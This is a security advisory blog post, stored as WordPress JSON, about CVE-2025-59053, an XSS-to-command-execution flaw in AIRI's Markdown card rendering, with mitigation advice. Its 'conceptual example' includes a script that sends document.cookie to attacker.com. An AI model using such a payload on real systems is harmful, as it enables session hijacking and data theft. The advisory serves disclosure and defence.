{"id":75966,"date":"2025-09-18T05:49:02","date_gmt":"2025-09-18T05:49:02","guid":{"rendered":""},"modified":"2025-10-10T04:34:24","modified_gmt":"2025-10-10T10:34:24","slug":"cve-2025-59053-critical-xss-and-arbitrary-command-execution-vulnerability-in-airi","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-59053-critical-xss-and-arbitrary-command-execution-vulnerability-in-airi\/","title":{"rendered":"<strong>CVE-2025-59053: Critical XSS and Arbitrary Command Execution Vulnerability in AIRI<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In this post, we delve into the details of a critical vulnerability (CVE-2025-59053) that affects AIRI, a self-hosted artificial intelligence-based Grok Companion. This vulnerability exposes systems to potential compromises and data leakage, warranting immediate attention. Given AIRI&#8217;s widespread use, this vulnerability could have far-reaching implications, especially in terms of cross-site scripting (XSS) and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52353-arbitrary-code-execution-vulnerability-in-badaso-cms-2-9-11\/\"  data-wpil-monitor-id=\"83955\">arbitrary command execution<\/a>. As such, understanding this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7775-critical-memory-overflow-vulnerability-in-netscaler-adc-and-gateway-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"83805\">vulnerability and its mitigation is crucial for system<\/a> administrators and cybersecurity professionals alike.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-59053<br \/>\nSeverity: Critical (9.6 CVSS Severity Score)<br \/>\nAttack Vector: Web-based<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9253-stack-based-buffer-overflow-on-linksys-wi-fi-range-extenders-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"84281\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4171944547\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>AIRI | v0.7.2-beta.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-58059-critical-vulnerability-in-valtimo-s-business-process-automation-platform\/\"  data-wpil-monitor-id=\"86225\">vulnerability exists in the Markdown content processing<\/a> of AIRI. Specifically, the `useMarkdown` composable, which processes the Markdown content and the processed HTML, is rendered directly into the DOM using v-html. An attacker can exploit this weakness by creating a card file containing malicious HTML\/JavaScript.<br \/>\nThe exploit occurs when this malicious file is processed using the `highlightTagToHtml` function, which replaces template tags without HTML escaping. The processed content is then directly rendered using v-html, leading to an XSS attack.<br \/>\nWhat makes this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50979-sql-injection-vulnerability-in-nodebb-s-search-categories-api-endpoint\/\"  data-wpil-monitor-id=\"85976\">vulnerability more dangerous is the exposed Tauri API<\/a>, which can be called from the frontend. The MCP plugin further exposes a command execution interface function, allowing <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0075-arbitrary-code-execution-vulnerability-in-sdp-server\/\"  data-wpil-monitor-id=\"83998\">arbitrary command execution<\/a>, thereby posing a severe threat to the system security.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4259630175\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">const maliciousCard = `&lt;!doctype html&gt;\n&lt;html&gt;\n&lt;body&gt;\n&lt;script&gt;\n\/\/ Arbitrary JavaScript code\nfetch(&#039;http:\/\/attacker.com\/steal?cookie=&#039; + document.cookie);\n&lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;`;\n\/\/ The malicious card is then processed using highlightTagToHtml and rendered using v-html\nhighlightTagToHtml(maliciousCard);<\/code><\/pre>\n<p>This JavaScript <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23316-critical-vulnerability-in-nvidia-triton-inference-server-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"89543\">code would send the user&#8217;s cookies to the attacker&#8217;s server<\/a>, demonstrating one of many ways this vulnerability could be exploited. The attacker could also <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-57771-arbitrary-command-execution-vulnerability-in-roo-code-ai\/\"  data-wpil-monitor-id=\"84811\">execute arbitrary system commands<\/a> if they gain access to the MCP plugin&#8217;s command execution interface.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users should update to v0.7.2-beta.3 as it fixes the issue. In instances where an immediate update is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can temporarily mitigate the threat by detecting and blocking malicious activity. However, this is only a temporary solution, and applying the vendor patch should be a priority.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In this post, we delve into the details of a critical vulnerability (CVE-2025-59053) that affects AIRI, a self-hosted artificial intelligence-based Grok Companion. This vulnerability exposes systems to potential compromises and data leakage, warranting immediate attention. Given AIRI&#8217;s widespread use, this vulnerability could have far-reaching implications, especially in terms of cross-site scripting (XSS) and arbitrary [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80,81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-75966","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75966","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=75966"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75966\/revisions"}],"predecessor-version":[{"id":82388,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/75966\/revisions\/82388"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=75966"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=75966"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=75966"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=75966"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=75966"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=75966"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=75966"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=75966"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=75966"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}